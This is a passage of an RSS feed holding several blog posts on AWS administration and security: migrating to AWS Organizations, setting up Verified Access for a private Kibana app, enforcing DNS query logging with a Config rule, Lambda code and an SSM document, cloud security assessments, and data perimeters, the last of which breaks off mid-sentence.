            <content:encoded><![CDATA[<p>Or how to migrate isolated AWS accounts to an AWS Organization</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GcAEx1lHLlP_O1TVWhvP9w.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@shawnanggg?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">shawnanggg</a> on <a href="https://unsplash.com/photos/yellow-green-and-red-wooden-frame-r2A6WYI8YIg?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></figcaption></figure><p>Does your company have multiple AWS accounts being independently managed by a variety of teams without a clear strategy on cloud maturity? If so, you are not alone. Released in 2017, AWS Organizations allows for central management of AWS accounts, but many companies have not made the switch. One reason for this is that the migration can appear challenging or risky. While there are risks to any migration, the move to AWS Organizations is surprisingly straightforward.</p><h4>Provision your new AWS Organization</h4><p>The first step is setup your eventual destination. Create a new AWS account to be your management account and establish the Organization. This is the time to give careful thought to your Organizational Unit (OU) structure. While it can be changed later on, starting with a good foundation is key.</p><p>AWS has guidance on using a <a href="https://docs.aws.amazon.com/whitepapers/latest/organizing-your-aws-environment/organizing-your-aws-environment.html">multi-account strategy</a>. In this model, applications are relegated to their own accounts and centralized services, such as networking, also get their own accounts. This allows for stronger boundaries between services, as the account boundary is natural border.</p><h4>Implement your Guardrails</h4><p>Whether you deploy Control Tower or another solution, having automation in place to ensure a secure account factory and sensible defaults for accounts is important. In an AWS Organization, guardrails typically come in the form of Service Control Policies (SCPs).</p><p>SCPs are similar to identity and resource policies, but they are applied to Organizational Units and accounts. Each OU has a default SCP that allows all actions, so customer-added SCPs are generally used to *deny* actions. Preventing the use of certain APIs or denying actions by the root user are common use-cases for SCPs.</p><p>Control Tower has its flaws, but I’ve generally had a good experience with it. A common complaint is that Control Tower makes heavy use of AWS Config and that can get very expensive as resource counts get high. Unless you have a mature platform engineering team and robust internal processes, rolling your own Control Tower-esque framework is probably not a good idea. You can easily find yourself buried in unmanageable code based on flawed assumptions.</p><p>Control Tower provides its own account factory (using Service Catalog), but you can certainly create your own using CloudFormation or Terraform. In either case, spend time designing the defaults so that accounts are secure, but not an overly-heavy hindrance to the business.</p><h4>Configure SSO</h4><p>IAM Identity Center is the recommended way to manage human access to AWS accounts in an Organization. It is easy to connect it to your IdP of choice, such as Okta, and leverage your existing directory services and groups to facilitate access to AWS. You could still proceed with individually federating your accounts, but this is cumbersome and adds considerable administrative overhead. That said, maintaining an individual federation for select accounts as a backup or breakglass can be helpful.</p><p>Setting up Identity Center could be its own blog post. In short, follow the principal of least-privilege and only grant access that is actually required. If you are using a robust multi-account strategy, a given developer should only have access (and by that I mean limited access) to accounts hosting their applications.</p><h4>Migration</h4><p>Migrate one account at a time. After a given migration, ensure the workloads in the account are operating normally and that account access is functional. Workloads could potentially be affected by any SCPs or other guardrails you have enabled. If you have enabled Control Tower with only the mandatory controls, issues are unlikely at this stage. The mandatory controls primarily configure and enforce logging and set controls to prevent the tampering of Control Tower itself. Additional controls or SCPs could be workload-breaking, so make sure your development teams are a part of your migration plan.</p><h4>Document</h4><p>This phase should probably be at the top of the list, but the end-state might have diverged from planning, so it’s a good practice to update your documentation post-migration. Be sure to not only specify the design, but also capture the design decisions. It will be critical later on understand not just the decisions made, but why they were made.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=261bde93530a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Expose a private service with AWS Verified Access]]></title>
            <link>https://medium.com/@jeffmaley/expose-a-private-service-with-aws-verified-access-7137ffef1a22?source=rss-d93125498910------2</link>
            <guid isPermaLink="false">https://medium.com/p/7137ffef1a22</guid>
            <category><![CDATA[access-control]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[amazon-web-services]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <dc:creator><![CDATA[Jeff Maley]]></dc:creator>
            <pubDate>Tue, 02 Jan 2024 17:44:40 GMT</pubDate>
            <atom:updated>2024-01-02T17:44:40.116Z</atom:updated>
            <content:encoded><![CDATA[<p>Let your private applications be public and also secured</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-6oqw8iOZZr79Y8FhwGQw.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@drice22?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Danielle Rice</a> on <a href="https://unsplash.com/photos/person-holding-black-and-white-card-7GfRwb78YWs?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></figcaption></figure><p>AWS Verified Access (<a href="https://aws.amazon.com/verified-access/">https://aws.amazon.com/verified-access/</a>) allows you to expose non-public applications to the Internet. I had a need to do this and thought I would write-up my experience in setting it up, including where I went wrong.</p><p>My organization is running an ELK cluster as a pilot. It was setup in a VPC without VPN access to the corporate network and adding VPN wasn’t an option. I was (and still am) uncomfortable with leaving a Kibana logon page exposed to the Internet, but I still needed to allow a small userbase to access the application. Allowing secure access to an ‘internal’ application via a public URL is exactly what Verified Access does.</p><p><strong>Configure Steps:</strong></p><p>Network Configuration</p><ul><li>Create Security Group</li><li>Setup Target Group and Application Load-Balancer</li></ul><p>Verified Access Configuration</p><ul><li>Create Verified Access Trust Provider</li><li>Create Verified Access Instance</li><li>Create Verified Access Group</li><li>Create SSL certificate in ACM</li><li>Create Verified Access Endpoint</li><li>Create DNS record</li></ul><h4>Network Configuration</h4><p>The configuration starts with the networking components. Verified Access can connect to an Elastic Network Interface (ENI) or an Application Load-Balancer (ALB). Since I wanted to use an ALB, I needed to create one. I also needed a Security Group to limit access.</p><p>For the Security Group, the intent is to only allow traffic to the ALB that originates from the Verified Access instance. To do that, I created a Security Group with a single rule that allows HTTPS traffic from the security group itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uUpFRZcM8oSNjA1SwJAOgQ.png" /><figcaption>Security Group for Verified Access</figcaption></figure><p>Next, I setup a Target Group that directed traffic to 5601 (the Kibana port):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*UMAyOZhnGCg4Fk_jE0OUgw.png" /><figcaption>ALB for ELK</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ABz17Ww2g4Sc-HHI43r9Q.png" /><figcaption>Target Group for Kibana</figcaption></figure><p>Finally, I created an internal Application Load-Balancer with a listener on 443 that sends traffic to the Target Group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WSYXF3zVmdcPHoOw9Aug2g.png" /></figure><p>Of note is that, per the documentation, the ALB should be an <em>internal </em>ALB, not a public one.</p><h4>Verified Access Configuration</h4><p>With the network prerequisites done, I was able to move on to configuring Verified Access itself. It’s found in the AWS console under Virtual Private Cloud (VPC).</p><p>The first step was to create a Verified Access Trust Provider. You can create one that refers to a user trust provider or a device trust provider, allowing for a Zero-Trust model. For my use case, I only needed a user trust provider. My choices were IAM Identity Center or OIDC; IAM Identity Center satisfied my need. Two items of note:</p><ul><li>IAM Identity Center needs to be enabled the region you’re configuring the Trust Provider in, although it does not need to be within the same account. Put another way, you can configure Verified Access in member accounts.</li><li>Make note of the string you enter for “Policy reference name”. This will be used later when configuring access policies.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*lP5Qr3VNp7AUcr5juKvIrg.png" /><figcaption>Verified Access Trust Provider</figcaption></figure><p>Next, I created a Verified Access Instance, selecting the trust provider I previously created. FIPS wasn’t required for my use case, so I left it disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*Bh_fqPMLJ-5xTu0romZQXQ.png" /><figcaption>Verified Access Instance</figcaption></figure><p>The third step was creating a Verified Access group. This is not technically required, as access policies can be added to the endpoint directly. I opted to use a group and add the policy anyway. The policy took an embarrassingly long time to get right because I didn’t understand that the string I added in the Trust Provider was used in the policy language. Below, you can see that the policy contains this:</p><pre>context.sso.groups</pre><p>The “sso” was the string entered earlier. If you entered something else, like “apple”, the policy would look like this:</p><pre>context.apple.groups</pre><p>In any case, this policy below allows entry only if the user is a member of at least one of two IAM Identity Center groups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*4wHxVX_LnozZg9G0KAbNLw.png" /></figure><p>Before moving on the final steps, I needed an SSL certificate. I had one from GoDaddy that I had imported into AWS ACM, but that was not supported for a Verified Access Endpoint. I needed a certificate created in AWS Certificate Manager (ACM). <strong><em>NOTE: is that this is needed before the Endpoint can be created.</em></strong></p><p>The final step was configuring the Verified Access Endpoint. For the <strong>Application Details </strong>pane, I entered the domain that matched the certificate. These have to match. For the <strong>Endpoint details</strong>, I entered the details for the ALB and Security Group I had created earlier. <strong><em>Note that the Security Group cannot be changed later</em></strong>. The <strong>Endpoint domain prefix</strong> can be any string, so I used ‘elk’. For the <strong>Subnet</strong> selection, I selected the same subnets that the ALB exists on, per the documentation. Because I had configured my access policy in a Verified Access group, I left the policy blank.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*jDI8te14tz2pWdM6IWW3MA.png" /><figcaption>Verified Access Endpoint</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*BT0zIqF8sQQTIIBcHB5h3w.png" /><figcaption>Verified Access Endpoint cont’d</figcaption></figure><p>The last step I needed to perform was to add a DNS record for my application, adding a CNAME record pointing to the URL for the Endpoint. <strong><em>Note: If you try to use the Endpoint URL directly with IAM Identity Center as the user trust provider, you will receive an error. You must use the URL that matches the certificate in the Endpoint.</em></strong></p><h4>Wrapping Up</h4><p>Verified Access has several configuration steps:</p><ul><li>Create network components (Security Group, Target Group, Application Load-Balancer)</li><li>Create SSL certificate</li><li>Configure Verified Access itself (Trust Provider, Instance, Group, and Endpoint)</li></ul><p>The issues I ran into were:</p><ul><li><em>The SSL certificate</em>. Not being able to use an imported certificate was disappointing.</li><li><em>The access policy</em>. <a href="https://www.cedarpolicy.com/en">Cedar </a>is neat, but I muddled around for too long before actually reading the documentation.</li><li><em>The URL and DNS</em>. I assumed that the native URL for the Verified Access Endpoint would work and spent a bit of time trying to figure out why it wasn’t. I probably should have questioned that assumption from the start.</li></ul><p>If you found this write-up helpful or had issues with it, please feel free to let me know.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7137ffef1a22" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[5 Steps to Enforce DNS Query Logging in AWS]]></title>
            <link>https://medium.com/@jeffmaley/5-steps-to-enforce-dns-query-logging-in-aws-7c2236412284?source=rss-d93125498910------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c2236412284</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[logging]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Jeff Maley]]></dc:creator>
            <pubDate>Tue, 17 Oct 2023 15:23:41 GMT</pubDate>
            <atom:updated>2023-10-17T15:23:41.020Z</atom:updated>
            <content:encoded><![CDATA[<p>Monitoring DNS queries is an often-overlooked part of logging. Understanding what resources your systems are looking for can provide insight into whether they’ve been compromised. If they are making queries for known c2 systems, that’s an indication that they’ve been compromised. You won’t know that unless you’re logging queries.</p><h4>The Solution</h4><figure><img alt="Solution overview" src="https://cdn-images-1.medium.com/max/514/1*hMzKEAdVlsUNAS0rmTpQqg.png" /><figcaption>Solution overview</figcaption></figure><p>There are several components in the above diagram.</p><ul><li>The Route53 Resolver DNS Query Logging Config contains the logging configuration that I want all of my VPCs to use. It was created in a security account, in each region, and shared (via AWS RAM) with my Organization.</li><li>The Custom Config rule calls a Lambda function that contains the logic for verifying whether a VPC has a DNS query logging configuration.</li><li>The Lambda function will determine if a VPC is missing the configuration, the Lambda updates Config, which then launches an Auto-Remediation document.</li><li>The Auto-Remediation document associates the VPC with the specified DNS query configuration, which deposits query logs in S3.</li></ul><h4>Route53 Resolver DNS Query Logging</h4><p>By default, resources in a VPC will use the Route53 DNS resolver. To configure query logging, you create a Route53 Resolver DNS Query Logging Configuration in the Route53 console (or via the CLI) and then associate your VPCs with that configuration. This is a regional configuration.</p><h4>Custom Config Rule</h4><p>Since AWS doesn’t have a native rule for detecting VPCs without query logging enabled, we have to write our own. For my use case, I wanted all query logs in my Organization to end up in the same bucket in my central logging account. I chose to create a single query resolver config in each region and use AWS RAM to share them with all accounts in my Organization. For my Config rule, I’m doing three things:</p><ol><li>Getting a list of all VPCs (in the given account and region)</li><li>Getting a list of all VPCs with my specified resolver query config (in the given account and region)</li><li>Finding the VPCs from #1 that are missing in #2 and generating a NON_COMPLIANCE evaluation.</li></ol><p>Of note is that the query logging configuration is *not* stored as part of the VPC configuration; it’s stored in the Route53 configuration.</p><p>I’m using a Lambda function for this and the code is below.</p><pre>&#39;&#39;&#39;check_query_logging determines which VPCs in a region are using the required<br>Route53 Resolver DNS Query Logging Configuration. It is designed to be used with<br>AWS Config and will report back to AWS Config with the results.<br>&#39;&#39;&#39;<br><br><br>import boto3<br>import json<br>import os<br><br><br>def query_vpcs():<br>    ec2 = boto3.client(&quot;ec2&quot;)<br>    response = ec2.describe_vpcs()<br>    return [vpc_id.get(&quot;VpcId&quot;) for vpc_id in response.get(&quot;Vpcs&quot;)]<br><br><br>def query_r53_config(resolver_query_config):<br>    &#39;&#39;&#39;Get the list of VPC Ids configured for the supplied<br>    Route53 Resolver DNS Query Log Configuration.<br>    &#39;&#39;&#39;<br><br>    r53 = boto3.client(&quot;route53resolver&quot;)<br>    response = r53.list_resolver_query_log_config_associations(<br>        Filters=[<br>            {<br>                &#39;Name&#39;: &#39;ResolverQueryLogConfigId&#39;,<br>                &#39;Values&#39;: [resolver_query_config]<br>            }<br>        ]<br>    )<br>    return [r53_vpc.get(&quot;ResourceId&quot;) for r53_vpc in response.get(&quot;ResolverQueryLogConfigAssociations&quot;)]<br><br><br>def compare_vpc_lists(vpc_ids, r53_vpcs):<br>    vpcs_query_config = {}<br>    for vpc in vpc_ids:<br>        if vpc not in r53_vpcs:<br>            vpcs_query_config[vpc] = &quot;NON_COMPLIANT&quot;<br>            print(f&quot;{vpc} missing resolve query config&quot;)<br>        else:<br>            vpcs_query_config[vpc] = &quot;COMPLIANT&quot;<br>    return vpcs_query_config<br><br><br>def build_evaluations(vpcs_query_config, timestamp):<br>    &#39;&#39;&#39;Evaluations for AWS Config have a specific format<br>    and are simpler to build in bulk&#39;&#39;&#39;<br><br>    evaluations = []<br>    for vpc, status in vpcs_query_config.items():<br>        evaluations.append({&#39;ComplianceResourceType&#39;: &#39;AWS::EC2::VPC&#39;,<br>                            &#39;ComplianceResourceId&#39;: vpc,<br>                            &#39;ComplianceType&#39;: status,<br>                            &#39;OrderingTimestamp&#39;: timestamp<br>                            })<br>    return evaluations<br><br><br>def main(event, context):<br>    # This is the id of the Route53 DNS Resolver Query Config<br>    # to be applied. The format is rqlc-XXXXXXXXXXXXXXX<br>    resolver_query_config = os.environ[&quot;RESOLVER_QUERY_CONFIG&quot;]<br>    timestamp = str(json.loads(<br>                    event[&#39;invokingEvent&#39;])[&#39;notificationCreationTime&#39;])<br>    result_token = event.get(&#39;resultToken&#39;)<br>    vpc_ids = query_vpcs()<br>    r53_vpcs = query_r53_config(resolver_query_config)<br>    config = boto3.client(&quot;config&quot;)<br>    vpcs_query_config = compare_vpc_lists(vpc_ids, r53_vpcs)<br>    evaluations = build_evaluations(vpcs_query_config, timestamp)<br>    try:<br>        response = config.put_evaluations(<br>            Evaluations=evaluations,<br>            ResultToken=result_token,<br>            TestMode=True<br>        )<br>        for failed in response.get(&quot;FailedEvaluations&quot;):<br>            print(&quot;FAILED&quot;)<br>            print(failed)<br>    except Exception as e:<br>        print(e)<br></pre><h4>Auto-Remediation</h4><p>I want VPCs without the necessary query logging configuration to be fixed automatically. To do so, I’m taking advantage of the Auto-Remediation option with Config rules. This leverages ‘Automation Documents’ in Simple Systems Manager. The ‘Documents’ are JSON or YAML files that can include scripted actions. AWS does offer an AWS-owned document for configuring DNS query logging in a document called “AWSSupport-ConfigureDNSQueryLogging”. This document creates a new DNS query logging config for each non-compliant resource. The issue is that since I had to write the logic to verify compliance, using this document as a remediation would have meant that the logic would first have to get *all* DNS query configs, validate the ones that deposit the logs where I want, and then gather the list of associated VPCs for those configs before comparing to the list of VPCs for the region. This seemed like a lot of extra work, work that could be avoided by just creating my own Automation document.</p><p>The document that I created takes three parameters:</p><ul><li>AutomationAssumeRole — This is the role the document will use to make changes to run the document. It must have sufficient permissions to make required changes.</li><li>DnsQueryConfig — This is the specific query logging configuration (per region) that I want VPCs (per region) to use.</li><li>ResourceId — This will be the VPC Id, or the resource returned to Config</li></ul><p>Here is the file:</p><pre>description: |-<br>  This Automation document associates the provided Route53 Resolver DNS Query Logging Configuration with the provided VPC.<br>schemaVersion: &#39;0.3&#39;<br>assumeRole: &quot;{{ AutomationAssumeRole }}&quot;<br>parameters:<br>  ResourceId:<br>    type: String<br>    allowedPattern: &quot;(^Z[A-Z0-9_]{4,32}$|^vpc-[a-z0-9]{8,17}$)&quot;<br>    description: &quot;(Required) The resouce needs to be the VPC Id (ex. vpc-1a2b3c4d)&quot;<br>  DnsQueryConfig:<br>    type: String<br>    default: Public<br>    description: &quot;(Required) ID of the DNS Resolver Query Logging Configuration to apply.&quot;<br>  AutomationAssumeRole:<br>    type: String<br>    default: &#39;&#39;<br>    description: &quot;(Optional) The ARN of the role that allows the Automation runbook<br>      to perform the actions on your behalf. If no role is specified, Systems Manager<br>      Automation uses your current IAM user permissions context to execute this runbook.&quot;<br>    allowedPattern: &quot;(^arn:(aws[a-zA-Z-]*)?:iam::\\d{12}:role/[\\w+=,.@-]+$)?&quot;<br>mainSteps:<br>- name: AssociateQueryLog<br>  description: Associates the provided VPC with the provided DNS Resolver Query Logging Configuration<br>  action: aws:executeScript<br>  inputs:<br>    Runtime: python3.7<br>    Handler: script_handler<br>    Script: |-<br>            import boto3<br>            def script_handler(events, context):<br>                region = context[&#39;global:REGION&#39;]<br>                ExecutionId = context[&#39;automation:EXECUTION_ID&#39;]<br>                ResourceId = events[&#39;ResourceId&#39;]<br>                DnsQueryConfig = events[&#39;DnsQueryConfig&#39;]<br>                client = boto3.client(&#39;route53resolver&#39;, region_name=region)<br>                try:<br>                    response = client.associate_resolver_query_log_config(ResolverQueryLogConfigId=DnsQueryConfig,ResourceId=ResourceId)<br>                except Exception as e:<br>                    print(e)    <br>    InputPayload:<br>      ResourceId: &quot;{{ResourceId}}&quot;<br>      DnsQueryConfig: &quot;{{DnsQueryConfig}}&quot;<br>  onFailure: Abort<br>  onCancel: Abort<br>  timeoutSeconds: 120<br>  isEnd: true</pre><p>For the AutomationAssumeRole, the role should have the following permissions and trust policy:</p><pre>&quot;logs:CreateLogDelivery&quot;,<br>&quot;logs:PutResourcePolic&quot;,<br>&quot;logs:DescribeLogGroups&quot;,<br>&quot;logs:DeleteLogGroup&quot;,<br>&quot;ec2:DescribeVpcs&quot;,<br>&quot;logs:DescribeLogStreams&quot;,<br>&quot;logs:UpdateLogDelivery&quot;,<br>&quot;logs:DeleteLogDelivery&quot;,<br>&quot;logs:PutRetentionPolicy&quot;,<br>&quot;logs:CreateLogGroup&quot;,<br>&quot;logs:DescribeResourcePolicies&quot;,<br>&quot;logs:ListLogDeliveries&quot;,<br>&quot;route53resolver:AssociateResolverQueryLogConfig&quot;,<br>&quot;route53resolver:CreateResolverQueryLogConfig&quot;,<br>&quot;route53resolver:DeleteResolverQueryLogConfig&quot;,<br>&quot;s3:GetBucketAcl&quot;,<br>&quot;route53resolver:tagResource&quot;</pre><pre>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Principal&quot;: {<br>                &quot;Service&quot;: &quot;ssm.amazonaws.com&quot;<br>            },<br>            &quot;Action&quot;: &quot;sts:AssumeRole&quot;<br>        }<br>    ]<br>}</pre><h4>Putting It All Together</h4><p>In a single account and region, the implementation consists of the following steps (NOTE: <em>this assumes the Route53 Resolver DNS Query Logging configuration has been setup, validated, and shared</em>):</p><ol><li>Create the Automation document</li><li>Create the AutomationAssumeRole</li><li>Create the Lambda function</li><li>Create a Custom Config rule to point to the Lambda</li><li>Configure Auto-Remediation in the Config rule to use the Automation document</li></ol><p>Any VPCs found to not have your specified query logging config will be associated with it, which ensures that you will have query logs to feed into your SIEM to look for issues. Happy hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c2236412284" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AWS Cloud Security Assessment in 5 Steps]]></title>
            <link>https://medium.com/@jeffmaley/aws-cloud-security-assessment-in-5-steps-55c547caf759?source=rss-d93125498910------2</link>
            <guid isPermaLink="false">https://medium.com/p/55c547caf759</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <dc:creator><![CDATA[Jeff Maley]]></dc:creator>
            <pubDate>Mon, 31 Jul 2023 17:22:16 GMT</pubDate>
            <atom:updated>2023-07-31T17:22:16.601Z</atom:updated>
            <content:encoded><![CDATA[<h4>It’s not just fancy tools</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U_V2C_pdq6jNlmP7Zgw1cw.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@growtika?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Growtika</a> on <a href="https://unsplash.com/photos/8zB4P0eafrs?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><h3>The Workloads</h3><p>The first step in forming an understanding of your organization’s cloud security posture is to determine what workloads are being run. The questions to ask at this stage are:</p><ul><li><strong>What is running in your cloud? </strong>The answer to this question is not just a list of resources, but a list of business processes that exist in a cloud environment. “Redshift, EC2, and S3” is not helpful. “Our analytics platform for ad-network decisions” is very helpful.</li><li><strong>How are the workloads segregated?</strong> Are workloads isolated by account? Are all the workloads in one account with a reliance on network controls for isolation? The desired answer is essentially a high-level map of a cloud environment.</li><li><strong>What is the impact of each workload to the business?</strong> Some workloads are more important than others. Knowing this will aid in prioritizing improvements later.</li><li><strong>Who are the owners and customers of the workloads?</strong> Understanding who the stakeholders are is critical in properly assessing an environment and in recommending improvements.</li></ul><p>Your business is using the cloud and you need to understand why (and who) before you can begin an assessment. If you end up recommending changes, you want to have a firm grasp of which parts of the business are affected and how impactful the changes will be.</p><h3>The Security and Compliance</h3><p>If your organization has an existing Information Security Policy (and it probably does) or is subject to regulatory or compliance oversight, you need to know what controls are expected to be in place. It is helpful to do this early on so that you can contextualize the findings you encounter later.</p><p>Whether you are aligning to NIST 800–53, ISO27001, SOC2, or another one or multiple, understanding what is expected is key. This can be tricky when interpreting the actual required implementation. Taking encryption at rest as an example, it is required in nearly every framework, but its implementation can vary. Is the default S3-SSE encryption enough? Do the controls require S3-KMS? Or even AWS HSM? It is worth spending time to look through the controls and map them to what exists in the cloud provider.</p><p>Some key compliance frameworks to be aware of:</p><ul><li><strong>HIPAA</strong>. Not all cloud services are HIPAA compliant.</li><li><strong>GDPR</strong>. Most cloud services can support GDPR, but the onus is on the organization to maintain proper data sovereignty.</li><li><strong>FedRAMP</strong>. The US government has specific requirements and ensuring your cloud environment conforms may take extra steps.</li></ul><h3>The Resources</h3><p>At this point, it is time to take a look at the actual cloud resources themselves. Are there EC2 instances? Lambdas? S3? DynamoDB? The questions to ask:</p><ul><li><strong>What resources have been provisioned? </strong>This will help understand the different data perimeters that exist in your cloud.</li><li><strong>What applications are they a part of? </strong>Understanding the technical stack for applications will inform threat-modeling. The application using a public-facing EC2 instance will have a very different attack surface from one using Lambda and API Gateway.</li><li><strong>How are they reachable?</strong> Public? Private? What ports are exposed? Even in a cloud environment, network controls are important.</li><li><strong>How are they being managed?</strong> Manual? IaC? Manually-provisioned resources may be far more difficult to patch or secure than their code-generated counterparts. Prioritizing recommendations should take this into account.</li></ul><h3>The Identities</h3><p>Authentication and authorization get evaluated after the workloads and resources. The reason is that until the resources are understood, there is no way to contextualize identity and access.</p><p>In AWS, identities can be locally stored (eg: IAM Users) or federated with SAML or OIDC using AWS SSO and IAM Roles. Understanding whether identities exist in silos or part of an organization’s existing identity infrastructure is important when making recommendations for identity management.</p><p>For authorization, each workload and its resources have access provided via a combination of identity policies, resource policies (eg: Bucket Policy), Service Control Policies (part of AWS Organizations), and Permissions Boundaries. Understanding the result of multiple policies is critical in putting together a coherent list of identities and what they are able to access.</p><h3>The Future</h3><p>At this point, cloud security assessment is mostly complete. The only item missing is a “Recommendations” section. To make recommendations, you have to know how the organization plans to evolve their cloud usage. Questions to ask:</p><ul><li>What are the future plans for workloads in the cloud?</li><li>Are there any new regulations to adhere to?</li><li>Are there new security or compliance frameworks being adopted?</li></ul><p>With these answers, a “Recommendations” section can be written. This section should include technical and security concerns, but it should consider business outcomes as a critical factor. Security is paramount, but it must be integrated with business needs to see successful adoption.</p><h3>Closing Thoughts</h3><p>A cloud security assessment is more than just running a set of tools and providing pretty HTML reports. A deep understanding of the organization and its business is required to provide an assessment that will be beneficial. When performing such an assessment, remember:</p><ul><li><strong>Understand their workloads</strong> — You have to know how the business is using the cloud in order to secure it.</li><li><strong>Under their security and compliance landscape</strong> — There are rules and regulations; which ones does the organization have to follow?</li><li><strong>Understand the resources that have been deployed </strong>— This informs the threat surface and landscape.</li><li><strong>Understand the people involved</strong> — Both the workload identities and the actual people responsible for those identities, including stakeholders.</li><li><strong>Understand what is planned for the future</strong> — An assessment may be a point-in-time endeavor, but it’s only useful when considered as part of a journey to the cloud and increased security.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55c547caf759" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Data Perimeters in AWS]]></title>
            <link>https://medium.com/@jeffmaley/data-perimeters-in-aws-98778417e4a4?source=rss-d93125498910------2</link>
            <guid isPermaLink="false">https://medium.com/p/98778417e4a4</guid>
            <category><![CDATA[data-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Jeff Maley]]></dc:creator>
            <pubDate>Tue, 12 Jul 2022 17:06:38 GMT</pubDate>
            <atom:updated>2022-07-12T17:06:38.025Z</atom:updated>
            <content:encoded><![CDATA[<p>Where are the gateways to your data and how many of them are there?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fhmmu38Co1hiWcgMg4Ml-w.jpeg" /><figcaption>Image credit: Chepe Nicoli</figcaption></figure><p><strong>What is a Data Perimeter?</strong></p><p>Data perimeters are the points where access to your data is gated. In traditional infrastructure, the data perimeter is usually defined as a function of the network perimeter: if you’re “on the network”, you can get to the data. Access control in the form of authorization policies (eg: Security Groups in Active Directory) are generally employed, but there is often an inherent sense of trust for computing nodes that are within the internal network. By contrast, data access in a cloud environment is often entirely limited to access control policies. There is no network perimeter; the gateways to your data are the access control mechanisms.</p><h4>Types of Data Perimeter Mechanisms</h4><p><strong>Identity-based</strong></p><p>If access to a data resource is entirely defined within a policy associated with an IAM User, Role, or Group, it is an identity-based perimeter. Whether the policy is attached or inline doesn’t matter. What matters is that the identity, or membership in the identity, is the gatekeeper for access to a data store.</p><p><strong>Resource-based</strong></p><p>Access policies can also be attached to certain resources in AWS, such as S3 buckets. Resource policies allow for external accounts to have access, but can be used to provide access to identities within the same account.</p><p><strong>Network-based</strong></p><p>Many AWS services offer data via public APIs, but some, such as RDS or RedShift, require a network connection to the actual data resources. For resources in an AWS VPC, network access is provided by VPN, direct connection(AWS Direct Connect), VPC Peering, Transit Gateway, or the resource having a public IP address.</p><p>Also included in this category are VPC Network Access Control Lists (NACLs) and Security Groups. NACLs are set at a subnet level and can explicitly allow or deny access. Security Groups are applied to a resource and can allow access.</p><p><strong>Derived</strong></p><p>Some services in AWS can be granted access to data that is then made available to a user irrespective of the user’s IAM access. With RedShift Spectrum, a user with access to the RedShift cluster can query data residing in S3 buckets. The cluster needs access to the buckets, but the user does not.</p><p><strong>Resource-specific</strong></p><p>Some services have their own authorization mechanisms, such as database engines in RDS. With an RDS instance, access to the data within the databases is managed within the engine. If IAM authentication is enabled, broad access to a database will leverage IAM, but fine-grained access will still reside in the database engine. LakeFormation also uses its own authorization in combination with IAM. LakeFormation also leverages its own ABAC mechanism (called LF-Tags) that is not interchangeable with IAM ABAC.</p><p><strong>Organization and Account Controls</strong></p><p>Service Control Policies and Permissions Boundaries allow Organizations and accounts, respectively, to limit access to APIs and the data they offer.</p><p><strong>VPC</strong></p><p>Some AWS services, such as S3, provide the option of allowing API calls to remain within the VPC and not traverse the public Internet. While AWS API calls are encrypted using HTTPS, some organizations require all traffic to remain under their control.</p><h4>Examples</h4><p><strong>Traditional Data Perimeter</strong></p><figure><img alt="Traditional data perimeter" src="https://cdn-images-1.medium.com/max/620/1*mznGbXQBztrneIIWSfLG9w.png" /></figure><p>In the example above, we have a traditional data perimeter. It is defined by ingress and egress points consisting of the following:</p><ol><li>Network access. If you are on the “inside” of the firewall, you have network access to the data resource.</li><li>Logical access control (domain). Authentication and authorization provided as part of Active Directory or another directory service. This is generally a user identity and access policies that permit (or deny) access to 